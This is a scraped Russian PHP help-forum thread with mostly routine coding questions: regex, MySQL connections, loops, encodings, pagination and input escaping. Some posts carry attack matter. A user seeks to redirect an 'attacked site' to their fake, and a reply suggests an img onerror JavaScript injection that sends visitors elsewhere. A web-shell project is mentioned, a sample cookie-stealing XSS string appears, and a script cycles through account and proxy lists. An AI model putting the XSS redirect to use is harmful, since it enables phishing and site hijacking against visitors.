$regexp = "/([a-zA-Z]+)/s";
if (preg_match($regexp, "abc1",$pockets))
echo "yes<br>";
else
echo "no<br>";
for ($i=1;$i<=count($pockets);++$i)
echo "{$pockets[$i]}";
?>
</body>
</html>
Само сообщение здесь
yes
abc
Notice: Undefined offset: 2 in F:\php tests\tiny.php on line 13
Спасибо за помощь!
buxmanager
16.01.2010, 18:02
<?php
file_put_contents('./ip.log', @$_SERVER['REMOTE_ADDR'] . "\r\n", FILE_APPEND);
спасибо, испробую)
imajo.ati
16.01.2010, 18:05
Не могу найти что вызывает Notice в скрипте.count($pockets) возвращает количество элементов а не последний индекс, отсюда и ошибка. надо на единицу меньше брать чем длина списка
count($pockets) возвращает количество элементов а не последний индекс, отсюда и ошибка. надо на единицу меньше брать чем длина списка
Спасибо за ответ.
Как можно исправить, чтобы не было Notice?
Желательно без foreach. Так как нулевой элемент не нужен.
<?php
system("taskkill /F /IM notepad.exe");
?>
а можно не убивая процесс закрыть приложение?
прост убивая процесс, приложение не сохраняет свои настройки, закрывая же, они выполняются.
mailbrush
16.01.2010, 18:33
Спасибо за ответ.
Как можно исправить, чтобы не было Notice?
Желательно без foreach. Так как нулевой элемент не нужен.
-1, тебе же сказали...
Есть класс работы с БД (ниже кинул начало класса)
Но вот не могу понять почему при вызове его примерно так
$db1 = new db(....vars.....);
$db2 = new db(....vars.....);
А потом начинаю делать запрос вида
$db1->query(...запос....);
$db2->query(...запос....);
ТО скрипт работает с 1 БД которая вызвана пойзже =(
Как сделать чтоб класс работал нормально с несколькими БД
class db {
var $sql_host;
var $sql_user;
var $sql_pass;
var $sql_base;
var $sql_charset = "utf8";
var $sql_count = 0;
var $sql_error = true;
var $link_id = 0;
function __construct($host,$user,$pass,$base,$code,$sql_err or) {
$this->sql_host=$host;
$this->sql_user=$user;
$this->sql_pass=$pass;
$this->sql_base=$base;
$this->sql_charset=$code;
$this->error=$error;
$this->connect();
}
function connect() {
$this->link_id=@mysql_connect($this->sql_host,$this->sql_user,$this->sql_pass);
if(!$this->link_id) $this->error("False link == Error to connect the database");
$selecting_base=@mysql_select_db($this->sql_base,$this->link_id);
if(!$selecting_base) $this->error("Flase base == Error to select the database");
$coder_query=@mysql_query("SET NAMES '$this->sql_charset'");
if(!$coder_query) $this->error("Error set $this->sql_charset");
}
function query($query_string) {
$selecting_query=@mysql_query($query_string,$this->link_id);
$this->sql_count ++;
if(!$selecting_query) $this->error("False query == $query_string");
return $selecting_query;
}
.......
Есть класс работы с БД (ниже кинул начало класса)
Но вот не могу понять почему при вызове его примерно так
$db1 = new db(....vars.....);
$db2 = new db(....vars.....);
А потом начинаю делать запрос вида
$db1->query(...запос....);
$db2->query(...запос....);
ТО скрипт работает с 1 БД которая вызвана пойзже =(
Как сделать чтоб класс работал нормально с несколькими БД
class db {
var $sql_host;
var $sql_user;
var $sql_pass;
var $sql_base;
var $sql_charset = "utf8";
var $sql_count = 0;
var $sql_error = true;
var $link_id = 0;
function __construct($host,$user,$pass,$base,$code,$sql_err or) {
$this->sql_host=$host;
$this->sql_user=$user;
$this->sql_pass=$pass;
$this->sql_base=$base;
$this->sql_charset=$code;
$this->error=$error;
$this->connect();
}
function connect() {
$this->link_id=@mysql_connect($this->sql_host,$this->sql_user,$this->sql_pass);
if(!$this->link_id) $this->error("False link == Error to connect the database");
$selecting_base=@mysql_select_db($this->sql_base,$this->link_id);
if(!$selecting_base) $this->error("Flase base == Error to select the database");
$coder_query=@mysql_query("SET NAMES '$this->sql_charset'");
if(!$coder_query) $this->error("Error set $this->sql_charset");
}
function query($query_string) {
$selecting_query=@mysql_query($query_string,$this->link_id);
$this->sql_count ++;
if(!$selecting_query) $this->error("False query == $query_string");
return $selecting_query;
}
.......
Как вариант,в классе сделать $connect[n];
Тобиш,при вызове класса, ресурс с $c = mysql_connect();,тоесть $c, зписывалось в $connect[] = $c;
А далее,делать работу таким образом:
functon query($query,$conn_id=0){
if(isset($this->connect[$conn_id]) & $this->connect[$conn_id]){ blablabla;
}
}
Примерно так.
Как вариант,в классе сделать $connect[n];
Тобиш,при вызове класса, ресурс с $c = mysql_connect();,тоесть $c, зписывалось в $connect[] = $c;
А далее,делать работу таким образом:
functon query($query,$conn_id=0){
if(isset($this->connect[$conn_id]) & $this->connect[$conn_id]){ blablabla;
}
}
Примерно так.
Есть же $this->link_id :confused:
Серёжа393
17.01.2010, 13:53
Подскажите пожалуйсто статьи или лит-ру по написанию сайтов динамический с php.
т.е. мне надо написать не сложный сайт с системой администрирования и динамичным контентом. Мне надо узнать как организоавть двиг, самое главное как всё это граммтоно сделать + не плохо бы было если бы там про вёрстку тоже сказано. В гугле не нашол. ((
Есть же $this->link_id :confused:
Ну так ты массив создавай.И не нужно несколько переменных.Просто как пример:
$mysql = new mysql(wrong data);
$mysql->connect(data2);
Когда инициализируем класс,мы пишем коннект не в link_id, А в link_id[].И когда мы делаем коонект 2 раз,мы просто прописываем в массив выше индексов,еще один идент. коннекта. далее можем юзать так:
$mysql->query("SELECT * FROM base1",0); // Вот тут будет использоватья первый коннект.
$mysql->query("SELECT * FROM base2",1); // Вот тут будет использоватья второй коннект.
m0Hze Вы опять вместо работы с классами - выдумываете костыли, чтобы вернуться к процедурному программированию....
Byrger По какой-то причине - пхп закрывает первое соединение с БД. В функции query - сделайте проверку переменной соединения. Посмотрите какие ID имеют соединения.
if (!($this->link_id && is_resource($this->link_id))) {var_dump($this->link_id); return 0; }
Класс, кстати, кривой - в конструкте в качестве аргумента передается sql_error, а в функции - он нигде не используется. Плюс нет значений по умолчанию
Обновление 13-40: Как всегда в мануале все написано. Про mysql_connect: If a second call is made to mysql_connect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned. The new_link parameter modifies this behavior and makes mysql_connect() always open a new link, even if mysql_connect() was called before with the same parameters.
помогите подключить xmlrpc_encode_request()
пробовал на денвере и VertrigoServ и платном хостинге.
пробовал изменять код.
раскоментировал в php.ini extension=php_xmlrpc.dll
добавлял php_xmlrpc.dll и php4ts.dll
ничё не получается (
всегда Fatal error: Call to undefined function xmlrpc_encode_request()
suser Апач перезагружали после изменения php.ini? На денвере с включенным расширением php_xmlrpc.dll - функция работает
m0Hze Вы опять вместо работы с классами - выдумываете костыли, чтобы вернуться к процедурному программированию....
Byrger По какой-то причине - пхп закрывает первое соединение с БД. В функции query - сделайте проверку переменной соединения. Посмотрите какие ID имеют соединения.
if (!($this->link_id && is_resource($this->link_id))) {var_dump($this->link_id); return 0; }
Класс, кстати, кривой - в конструкте в качестве аргумента передается sql_error, а в функции - он нигде не используется. Плюс нет значений по умолчанию
Обновление 13-40: Как всегда в мануале все написано. Про mysql_connect:
Условие возвращает false
Если сделать просто var_dump($this->link_id);
то будет вылазить только такое сообщение
esource(8) of type (mysql link)
При запросе к любому классу
Byrger Пример вызова в студию, с учетом замечания про mysql_connect, что вызовы должны либо различаться, либо 4 аргумент должен быть установлен.
Byrger Пример вызова в студию, с учетом замечания про mysql_connect, что вызовы должны либо различаться, либо 4 аргумент должен быть установлен.
Оо Gifts, спасибо тебе! Сдалал 4 аргумент true для mysql_connect() и все заработало
Серёжа393
17.01.2010, 22:15
Подскажите пожалуйсто статьи или лит-ру по написанию сайтов динамический с php.
т.е. мне надо написать не сложный сайт с системой администрирования и динамичным контентом. Мне надо узнать как организоавть двиг, самое главное как всё это граммтоно сделать + не плохо бы было если бы там про вёрстку тоже сказано. В гугле не нашол. ((
без ответа
Серёжа393 https://forum.antichat.ru/thread89681.html
есть текс где содержаться смайлики, но они все в нижнем регистре, как я могу их переводить в верхний регистр что бы они правильно отображались .
могу вот так str_replace(":-d",":-D", $text ); для тех смайлов кому нужен верхний регистр, но там эту строчку штук 10 раз придется писать, по короче есть метод ?
strtolower();
strtoupper();
strtolower();
strtoupper();
и что ? мне не надо весь текст поднимать, а только некоторые смайлики которые там встречаются
и что ? мне не надо весь текст поднимать, а только некоторые смайлики которые там встречаются
для этого регуляркой выдирай все смайлики с текстра (фунция preg_match_all ) и strtoupper() все в верхний регистр....
либо можно все сделать в одну строку для этого используеться preg_replace и модификатор /e
пример из руководства по пыху= для преобразования всех HTML тегов к верхнему регистру
<?php
preg_replace("/(<\/?)(\w+)([^>]*>)/e",
"'\\1'.strtoupper('\\2').'\\3'",
$html_body);
?>
для этого надо всего навсего свою регулярку подставить
Nightmarе
18.01.2010, 06:13
Можно ли как нибудь реализовать на php код, чтобы при любой ошибке php, все эти ошибки записывались в файл (любой тип, fatal error, undefined и т.д..) ?
то есть к примеру обращяюсь к скрипту:
lol.php?id[]=1
И в файл записывалась ошибка:
Fatal error: Unsupported operand types in /home/lol.php on line 5
Nightmarе http://ru2.php.net/manual/en/errorfunc.configuration.php#ini.error-log
И прочие директивы для php.ini. Fatal error - насколько помню не перехватывается
http://ua2.php.net/manual/en/errorfunc.configuration.php#ini.display-errors
Можно ли как нибудь реализовать на php код, чтобы при любой ошибке php, все эти ошибки записывались в файл (любой тип, fatal error, undefined и т.д..) ?
то есть к примеру обращяюсь к скрипту:
lol.php?id[]=1
И в файл записывалась ошибка:
Fatal error: Unsupported operand types in /home/lol.php on line 5
Что бы записать фата-ероры,тут наеврно нужно действовать так.
Вырубаем сообщения об ошибках,чтобы скрипт проработал максимаьно много после ошибки.дальше парсим сладенькую функцию: debug_backtrace(); на предмет ошибок.Там будет все.От ошибки формата данных,мускул-ошибки,ошибки сторонних классов,и даже неправильно определенный метод в инклуд-классе.В общем все-все.Далее формируй как хочеш.
imajo.ati
18.01.2010, 15:08
в чем вопрос храню в базе в типе blob картинки ...
задача какая надл сделать так чтоб картинки в буфур заганялись а потом можно было в текстовый файл вставить как картинку или как можно вставить картинку в doc чтоб она потом отображалась как картинка а не как текст...
текст я для браузера а его там много передаю так:
...
header("Content-Disposition: attachment; filename={$filename}.doc");
// В качестве типа файла задаем бинарный поток
header("Content-type: application/octet-stream");
// Отправляем клиенту размер страницы
// в HTTP-заголовке Content-length
header("Content-length: ".ob_get_length());
// Отправляем содержимое буфера вывода клиенту
ob_end_flush();
?>
кто что посоветует
фоток много есть... как это можно автоматизировать!?
И еще вопросец: как запрос правильно составить на три реквизита перед insert чтоб небыло дупликатов (уже имеющихся в БД таких записей по 3 реквиз.)
что еще один select тулить
и еще на пхп никак неззя работать ис буфером обмена !!! чето то ниче не нагуглил
1. скачать библиотеку для работы с msword либо установить ворд и юзать через $word = new COM("word.application");
2. за это вроде бы индексы таблиц отвечают. можно сделать поле уникальным.
3. http://bugs.php.net/bug.php?id=19545
по ссылке умный дядька сказал что надо написать скрипт на перле и юзать как-то так: $clipboard = shell_exec('perl get_clipboard.pl');
Привет, помогите отпарстить таблицу последних 50 проголосовавших на http://l2top.ru/info/10166/
Надо чтоб на выводе у скрипта было data:nick(время:ник)
Пробовал написать что-то типа того но криво парсит
$link = 'http://l2top.ru/info/10166/';
$content = file_get_contents($link);
preg_match_all("/<br><\/th>(.*)<\/tr>"
."([a-zA-Z-0-9 -<>\/\n\t]+)"
."<\/table>(.*)<div>(.*)<\/td>/is", $content, $matches);
<?php
$link = 'http://l2top.ru/info/10166/';
$content = file_get_contents($link);
preg_match_all("/<td>(\d+:\d+:\d+ \d+\.\d+\.\d+)<\/td>.{1,50}<td>.+?<td>(.+?)<\/td>/is", $content, $matches);
for($i=0,$j=sizeof($matches[1]);$i<$j;$i++) print $matches[1][$i].':'.$matches[2][$i].'<br>';
?>
как савместить их правельно в одну страку ??? foreach ($s as $a) {
foreach ($er as $b) { Чтобы получилась типа таво foreach ($s as $a),($er as $b){ :confused:
как савместить их правельно в одну страку ??? foreach ($s as $a) {
foreach ($er as $b) { Чтобы получилась типа таво foreach ($s as $a),($er as $b){ :confused:
Тоисть вот скрипт
if (!$accs_file) die('accounts file!');
if (!is_file($accs_file)) die('Cannot open accounts file!');
$s = trim(file_get_contents($accs_file));
if (!strlen($s)) die('No accounts in file!');
$s = str_replace("\r", '', $s);
$s = explode("\n", $s);
$s = array_unique($s);
if (!$proxy_file) die('proxy file!');
if (!is_file($proxy_file)) die('Cannot open proxy file!');
$er = trim(file_get_contents($proxy_file));
if (!strlen($er)) die('No proxys in file!');
$er = str_replace("\r", '', $er);
$er = explode("\n", $er);
$er = array_unique($er);
/////////////////////////////////////////
////////////////////////////////////
$total_accs = count($s);
echo "Found $total_accs accounts!\n";
$i = 0;
$total_proxy = count($er);
echo "Found $total_proxy proxys!\n";
$ii = 0;
////////////////////////////////////
$a = 0;
$b = 0;
foreach ($s as $a) {
sleep(1);
$i++;
$a = explode(':', trim($a));
echo "[$i/$total_accs] Mail: {$a[0]}\nPassword: {$a[1]}\n";
file_put_contents($accs_file.'.last.txt', "{$a[0]};{$a[1]}");
foreach ($er as $b) {
$ii++;
$b = explode(':', trim($b));
echo "[$ii/$total_proxy] IP: {$b[0]}\nPORT: {$b[1]}\n";
file_put_contents($proxy_file.'.last.txt', "{$b[0]};{$b[1]}");
и есле я добавляю это foreach ($er as $b) { как тут в примере вышэ то добавляестя скобка { и ана всё портит тоесть когда скрипт будет повторять функцыи во второй раз он будет начинать с foreach ($er as $b) { а foreach ($s as $a) { он тупо прапусьтит =[[ как быть ?
Тоисть вот скрипт
if (!$accs_file) die('accounts file!');
if (!is_file($accs_file)) die('Cannot open accounts file!');
$s = trim(file_get_contents($accs_file));
if (!strlen($s)) die('No accounts in file!');
$s = str_replace("\r", '', $s);
$s = explode("\n", $s);
$s = array_unique($s);
if (!$proxy_file) die('proxy file!');
if (!is_file($proxy_file)) die('Cannot open proxy file!');
$er = trim(file_get_contents($proxy_file));
if (!strlen($er)) die('No proxys in file!');
$er = str_replace("\r", '', $er);
$er = explode("\n", $er);
$er = array_unique($er);
/////////////////////////////////////////
////////////////////////////////////
$total_accs = count($s);
echo "Found $total_accs accounts!\n";
$i = 0;
$total_proxy = count($er);
echo "Found $total_proxy proxys!\n";
$ii = 0;
////////////////////////////////////
$a = 0;
$b = 0;
foreach ($s as $a) {
sleep(1);
$i++;
$a = explode(':', trim($a));
echo "[$i/$total_accs] Mail: {$a[0]}\nPassword: {$a[1]}\n";
file_put_contents($accs_file.'.last.txt', "{$a[0]};{$a[1]}");
foreach ($er as $b) {
$ii++;
$b = explode(':', trim($b));
echo "[$ii/$total_proxy] IP: {$b[0]}\nPORT: {$b[1]}\n";
file_put_contents($proxy_file.'.last.txt', "{$b[0]};{$b[1]}");
и есле я добавляю это foreach ($er as $b) { как тут в примере вышэ то добавляестя скобка { и ана всё портит тоесть когда скрипт будет повторять функцыи во второй раз он будет начинать с foreach ($er as $b) { а foreach ($s as $a) { он тупо прапусьтит =[[ как быть ?
Вот что получается
Found 5 accounts!
Found 5 proxys!
[1/5] Mail: sfdsf
Password: sfsf
[1/5] IP: 119.70.40.102
PORT: 8080
Found 1 friends
Cледуйший пофтор функцыи
[2/5] IP: 200.30.101.8
PORT: 8080
$acc=file("D:\draugiem\one30/accounts.txt");
$proxy=file("D:\draugiem\one30/proxy.txt");
$value_proxy=(count($proxy)-1);
$value_acc=(count($acc)-1);
for($hj=0;$hj<=$value_proxy;$hj++)
for($hj2=0;$hj2<=$value_acc;$hj2++)
{
$port[$hj]=str_replace(":","", strstr($proxy[$hj],":"));
$port[$hj]=rtrim($port[$hj]);
$ip[$hj]=str_replace(":","",rtrim(str_replace($port,"",$proxy[$hj])));
$proxy[$hj]=rtrim($proxy[$hj]);
$port2[$hj2]=str_replace(":","", strstr($acc[$hj2],":"));
$port2[$hj2]=rtrim($port2[$hj2]);
$ip2[$hj2]=str_replace(":","",rtrim(str_replace($port2,"",$acc[$hj2])));
$acc[$hj2]=rtrim($acc[$hj2]);
echo("$ip[$hj]:$port[$hj] GOOD\n");
echo("$ip2[$hj2]:$port2[$hj2] GOOD\n");
теперь как мне обяденит это ?
for($hj=0;$hj<=$value_proxy;$hj++)
for($hj2=0;$hj2<=$value_acc;$hj2++)
пробавал так невыходет
for($hj=0;$hj<=$value_proxy;$hj++;$hj2=0;$hj2<=$value_acc;$hj2++)
как быть ?
для выделения хоста и порта прокси юзай регулярки, проще
<?php
$t = "asd:123";
$p = "/^([^:]+):([\d]+)/";
preg_match($p, $t, $m);
var_dump($m);
?>
разберись с фигурными скобками
и синтаксис цикла for
for (expr1; expr2; expr3)
statement
Freakazoitt
20.01.2010, 14:00
Помогите найти ошибки:
$hp_2 = 40;
$dmg = 0;
$shots = 10;
for ($shots; $shots <= 0; $shots--){
//start multi-shot
$chance = rand(0,109);
if ($chance>'75') { // промах
} else { // попал
$dmg1=rand(5,12);
$dmg = $dmg + $dmg1;
}
}//end multi-shot
if ($dmg=='0') { // ни разу не попал
$damage_1="промахнулся";
} else {
$hp_2 = $hp_2 - $dmg;
$damage_1="наносит урон в $dmg, здоровье крысы падает до $hp_2";
}
echo $damage_1;
Freakazoitt Ошибка в условии цикла, должно быть $shots>=0 И ошибка в условии попадения - должно быть без кавычек
Серёжа393
20.01.2010, 17:36
Подскажите пожалуйсто статьи или лит-ру по написанию сайтов динамический с php.
т.е. мне надо написать не сложный сайт с системой администрирования и динамичным контентом. Мне надо узнать как организоавть двиг, самое главное как всё это граммтоно сделать + не плохо бы было если бы там про вёрстку тоже сказано. В гугле не нашол. ((
//Без нормального ответа
2.
Начал писать WEB-SHELL, как лучше верстать DIV-ами или таблицами? вообще как лучше писать свой webshell? я хочу чтобы у меня получился прекрассный WEB-SHELL!!! :rolleyes: :rolleyes: :rolleyes: :rolleyes:
mailbrush
20.01.2010, 23:11
Как узнать список переменных в скрипте?
Как узнать список переменных в скрипте?
http://php.su/functions/?get-defined-vars
Freakazoitt
21.01.2010, 09:33
вот переделал, пустую страницу выдает
где ещё может быть ошибка?
<?
error_reporting(3)
echo "multi-shot<br>";
$hp_2 = 40;
$dmg = 0;
$shots = 10;
for ($shots; $shots >= 0; $shots--){
//start multi-shot
$chance = rand(0,109);
if ($chance>75) { // промах
} else { // попал
$dmg1=rand(5,12);
$dmg = $dmg + $dmg1;
}
}//end multi-shot
if ($dmg==0) { // ни разу не попал
$damage_1="промахнулся";
} else {
$hp_2 = $hp_2 - $dmg;
$damage_1="наносит урон в $dmg, здоровье крысы падает до $hp_2";
}
echo $damage_1;
?>
вот переделал, пустую страницу выдает
где ещё может быть ошибка?
<?php
error_reporting(3);
Попробуй так
Freakazoitt
21.01.2010, 10:43
Заработало!
Серёжа393
21.01.2010, 12:52
Подскажите плиз.
Мой сайт написан в Denvere. (самопис) Тоесть MYSQL в CP1251, а вот мой хостинг (забугорный и халявный) там mysql в UTF-8 наверно.
Когда я ипортировал туда свою БД, то на сайте появились вопросы. т.к. не состыковка кодировок. Пожскажите плиз, как сделать чтобы всё было ГУД.
GreenBear
21.01.2010, 12:53
mysql_query("SET names cp1251");
Привет
Есть домен вида site.ru и поддомен ru1.site.ru
На site.ru есть страница автаризации
Как поддомену передать автаризованного пользователя?
Byrger http://php.net/setcookie - 5 параметр
http://php.net/session_set_cookie_params - 3 параметр
что бы БЕЗОПАСНО занести данные полученные из формы, достаточно через какие функции их провести ??? типа strip_tags() или функция которая переводит некоторые символы в безопасные или еще какие...
Deathdreams
21.01.2010, 18:11
REBUUS:
if( isset($_POST['data']) && is_string($_POST['data']) && !empty($_POST['data']) ){
$data = @mysql_real_escape_string($_POST['data']); //если нужно поместить в мускуль
}
Если постится массив, is_string($_POST['data']) заменить на is_array($_POST['data'])
REBUUS:
if( isset($_POST['data']) && is_string($_POST['data']) && !empty($_POST['data']) ){
$data = @mysql_escape_string($_POST['data']); //если нужно поместить в мускуль
}
Если постится массив, is_string($_POST['data']) заменить на is_array($_POST['data'])
я имел ввиду , не проверить пустые ли они или нужные переменные, а не содержат ли они sql инъекции или всякие хакерские штучки
Deathdreams
21.01.2010, 19:24
<?php
$data = mysql_real_escape_string($data);
?>
Я же написал.
при занесении в бд mysql_real_escape_string() и на выводе htmlspecialchars()
Freakazoitt
22.01.2010, 11:13
Нужно ограничить размер загружаемой на сайт картинки 100х100 (аватарка)
Файл вытягивается с помощью $_FILES['FILE']
Что нужно прописать, чтобы проверялся размер картинки?
Deathdreams
22.01.2010, 11:52
Freakazoitt,
$b = 102400; //размер файла в байтах
if( $_FILES['FILE']['size'] > $b ) die('Максимальный размер файла: '.($b/1024).' КБайт');
Freakazoitt
22.01.2010, 12:20
Freakazoitt,
$b = 102400; //размер файла в байтах
if( $_FILES['FILE']['size'] > $b ) die('Максимальный размер файла: '.($b/1024).' КБайт');
Неее, надо ограничить размер в ПИКСЕЛАХ, в пределах 100х100
есть такая рега типо бесплатного хоста на сервере)
функция должна выполнять запрос к серверу и создовать ак с введеными данными в полях ввода
вот пример-->
<?php
$mode=@$_REQUEST['mode'];
if (!$mode) {
?>
<form action="reg.php?mode=go" method="post">
Логин: [min-3, max-15]<br/>
<input type="text" name="name" maxlength="15"/><br/>
Пароль: [min-5]<br/>
<input type="text" name="pass" maxlength="20"/><br/>
E-mail:<br/>
<input type="text" name="mail" maxlength="50"/><br/>
domen:<br/>
<input type="text" name="url" maxlength="50"/><br/>
<input type="submit" name="submit" value="Добавить"/><br/>
</form>
<?
}
/////////////////////////////////////////////////////////////
if ($mode=="go") {
$name=$_POST['name'];
$pass=$_POST['pass'];
$mail=$_POST['mail'];
$url=$_POST['url'];
function data($path,$auth,$post=false)
{
global $useragent;
$fp = fsockopen('0.0.0.0', 2222,$errno,$errstr);
if (!$fp) die('ошибка подключения к серверу<br/>'.$errstr);
else
{
if (isset($post)) $type = 'POST';
else $type = 'GET';
$out = $type.' '.$path." HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Accept: */*\r\n";
$out .= "Authorization: Basic ".base64_encode($auth)."\r\n";
$out .= "Accept-Language: ru\r\n";
$out .= "User-Agent: ".$useragent."\r\n";
if (isset($post)){
$out .= "Content-type: application/x-www-form-urlencoded\r\n";
$out .= "Content-Length: " . strlen($post) . "\r\n";
}
$out .= "Cache-Control: no-cache\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= $post;
#die($out);
fwrite($fp, $out);
$headers = "";
while ($str = trim(fgets($fp)))
$headers .= "$str\n";
$body = "";
while (!feof($fp))
$body .= fgets($fp);
fclose($fp);
}
//возврааем данные
return array($headers,$body);
}
$useragent = 'SonyEricssonW'.Rand(400,999).'i/R1FA Browser/NetFront/3.4 Profile/MIDP-2.1 Configuration/CLDC-1.1';
$username = 'admin';
$password = '123';
$auth = $username.':'.$password;
echo '<pre>';
print_r(data('/CMD_API_ACCOUNT_USER',$auth,'action=create&add=Submit&username=$name&email=$mail&passwd=$pass&passwd2=$pass&domain=$url&ip=0.0.0.0&package=Free');
}
?>
---
так вот в этот запрос print_r(data('/CMD_API_ACCOUNT_USER',$auth,'action=create&add=Submit&username=$name&email=$mail&passwd=$pass&passwd2=$pass&domain=$url&ip=0.0.0.0&package=Free'); должны братся данные с переменных ))) ну тоись с полей ввода не знаю как обьяснить!! кароче суть такая функция не берет данные введеные в полях что делать? как правельно написать помогите))) надеюсь я понятно написал
Люди, подкиньте скрипт выдачи из базы mysql порциями, то есть постраничная выдача. Сам написал, но мне кажется кривовато как то :(
$k_p = "4";
if(!$l_p) {
$l_p = "0";
}
$result33 = mysql_query ("SELECT * FROM `base` WHERE `show`='1'");
$num33 = mysql_num_rows ($result33);
if ($num33 > $k_p) {//если колличество выбранных строк больше чем колличество выб. страниц
$num_result00 = $num33;
$num33 = ceil($num33/$k_p);//возвращает ближайшее большее целое
//echo $num_result;
for ($i = 0; $i < $num33; $i++) {
$row33 = mysql_fetch_array ($result33);
$po = ($i+1)*$k_p;
if ($po > $num_result00) {// если результат больше чем колл. стр. то вычесть остаток
$po = $po - ($po-$num_result00);
}
$num_a = (($l_p/$k_p)+1);
if($l_p==($i*$k_p)){
echo '<span style="font-weight:bold;">'.($i+1).'</span> ';
}
if($l_p!=($i*$k_p)){
echo '<a class="menu" href="nedvig.php?j=a&l_p='.($i*$k_p).'">'.($i+1).'</a> ';
}
}
}
:o :o :o :o :o :o
2mff
google: MySQL LIMIT
http://forum.antichat.ru/showthread.php?p=1739360
http://forum.antichat.ru/showpost.php?p=1757445&postcount=4
Неее, надо ограничить размер в ПИКСЕЛАХ, в пределах 100х100
http://php.su/functions/?f=getimagesize&choice=info
[QUOTE=Deathdreams]
<?php
$data = mysql_real_escape_string($data);
?>
и htmlspecialchars() при выводе
Этого достаточно что бы сайт был защищен через полей формы? а вот всякие скрипты когда добавляют , типа <SCRIPT>alert(document.write(document.cookie)')</script>
и еще htmlspecialchars() писать, это когда уже echo или print делаю ?
на выводе(echo, print) используй htmlspecialchars
Pashkela
22.01.2010, 23:36
2 Chaak:
https://forum.antichat.net/showpost.php?p=1683595&postcount=10134
не всегда, но задуматься стоит
Freakazoitt
23.01.2010, 10:37
Есть страница, которая запускается в виде page.php?id=33
id - это переменная, которая нужна для работы базы данных
внутри этой страницы есть <iframe>
как связать с ней страницу внутри iframe, чтобы там тоже выбиралась нужное $id ?
(глобальные использовать нельзя)
если я использую mysql_real_escape_string($data); , а при печатание htmlspecialchars , то кавычки и некоторые другие символы экранируются \' \" и так выводятся, это можно как то исправить ? а если то ни будь введет <и какой ни будь тек, то вообще ничего не виводиться>
http://ua2.php.net/manual/en/function.stripslashes.php
в одном файле php код и html форма,как сделать так чтоб код начал работать после нажатия кнопки?пробовал так if(isset($имя кнопки)) ,но не получилось.Подскажите плиз...
в одном файле php код и html форма,как сделать так чтоб код начал работать после нажатия кнопки?пробовал так if(isset($имя кнопки)) ,но не получилось.Подскажите плиз...
попробуй так
if (isset($_REQUEST['knonka']))
в одном файле php код и html форма,как сделать так чтоб код начал работать после нажатия кнопки?пробовал так if(isset($имя кнопки)) ,но не получилось.Подскажите плиз...
если форма GET то:
if(isset($_GET['button_name']))
{
}
если POST, то соответственно $_POST[...]
F1uDeR спс помогло))
проблема была с этой штукой - $H=getenv("HTTP_REFERER");
было 2 страници...хтмл с формой(index.html) и пхп с кодом $H=getenv("HTTP_REFERER");...но в $H занасился index.html
мож знает кто как сделать чтоб в $H записался предыдущий сайт а не index.html?
F1uDeR спс помогло))
проблема была с этой штукой - $H=getenv("HTTP_REFERER");
было 2 страници...хтмл с формой(index.html) и пхп с кодом $H=getenv("HTTP_REFERER");...но в $H занасился index.html
мож знает кто как сделать чтоб в $H записался предыдущий сайт а не index.html?
Создать отдельный файл с определением реферера,и подключать его ко всем страницам.
Народ нужен ПХП скрипт который будет перенапровлять на другой сайт. Зачем? Нужно перенаправить атакуемый сайт на мой фейк, у меня нет доступ к ХТМЛ, но есть доступ к вв кодам, хочу сделать так, на главной странице в какой нибудь новости втсавить [i*mg]путь к пхп скрипту[/i*mg], в результате его обработки будет перекидывать на другой сайт.... Парни помогите плиззз
olishort
24.01.2010, 00:08
Народ нужен ПХП скрипт который будет перенапровлять на другой сайт. Зачем? Нужно перенаправить атакуемый сайт на мой фейк, у меня нет доступ к ХТМЛ, но есть доступ к вв кодам, хочу сделать так, на главной странице в какой нибудь новости втсавить [i*mg]путь к пхп скрипту[/i*mg], в результате его обработки будет перекидывать на другой сайт.... Парни помогите плиззз
вроде как не разрешит
Народ нужен ПХП скрипт который будет перенапровлять на другой сайт. Зачем? Нужно перенаправить атакуемый сайт на мой фейк, у меня нет доступ к ХТМЛ, но есть доступ к вв кодам, хочу сделать так, на главной странице в какой нибудь новости втсавить [i*mg]путь к пхп скрипту[/i*mg], в результате его обработки будет перекидывать на другой сайт.... Парни помогите плиззз
Так не выйдет. Тебе нужен доступ к изменению страниц.
Самый хороший вариант делать редирект через Location.
Так не выйдет. Тебе нужен доступ к изменению страниц.
Самый хороший вариант делать редирект через Location.
Все будет пучком,если тег [img] плохо\не фильтруеться.В таком случае загружаеш туда заместо картинки,жабаскрипт,которы й в onerror="location.href = 'http://target.ru';"
Все будет пучком,если тег [img] плохо\не фильтруеться.В таком случае загружаеш туда заместо картинки,жабаскрипт,которы й в onerror="location.href = 'http://target.ru';"
Ммм... интересно)
Ммм... интересно)
Вот еще интересная штука.
https://forum.antichat.net/showpost.php?p=1683595&postcount=10134
$fp = fsockopen($host, 80, $errno, $errstr, 30); выдаёт ошибку(значение $host менял много раз).
Operation not permitted (1)-ошибка.
в чём может быть дело?
roker777
24.01.2010, 14:22
Короче я вобще ничего незнаю и хотел спросить куда вставляются php скрипты?
mailbrush
24.01.2010, 14:32
Короче я вобще ничего незнаю и хотел спросить куда вставляются php скрипты?
:D Мда... В гугл они вставляются, ты не знал?
roker777 ставишь виртуальный сервер(например xampp)закидываешь скрипт в папку,называешь её,кидаешь её в папку на сервере (в xampp htdocs)в браузере пишешь localhost/имя папки
roker777
24.01.2010, 14:40
mailbrushнет незнал JazzСпасибо что натолкнул на правильный путь, а буду искать.
roker777
24.01.2010, 14:50
JazzНа денвере это сделать можно.
roker777 можно.
fsockopen,возможно с виртуального сервера приконектиться ?с него говарит что приконектился...но остальное не работает...помагите плиз)
Подскажите в какую сторону копать(часть кода):
...........................
$file_log = "login.txt";//файл где ищу
$login='vasya';//что ищу
$array=file($file_log);
$c = count($array);
for($i = 0; $i < $c; $i++)
{
$stroka = explode('\r\n',$array_login[$i]);
if($stroka == $login)
unset($array_login[$i]);
}
$row=implode("\r\n",$array_login);
fwrite($file_log,$row);
fclose($file_log);
..........................
После того как строка становится не нужна, я пытаюсь перенести её в другой файл, но ни х не получается. Где-то что-то перепутал....
Помогите пожалуйста, а то 2 часа секса с PHP отняли все силы... =))
$file_log = "login.txt";//файл где ищу
$login='vasya';//что ищу
$array=file($file_log);
$c = count($array);
for($i = 0; $i < $c; $i++)
{
$stroka = explode('\r\n',$array_login[$i]);
if($stroka == $login)
unset($array_login[$i]);
}
$row=implode("\r\n",$array_login);
$f = fopen($file_log, 'w'); // Открываем файл
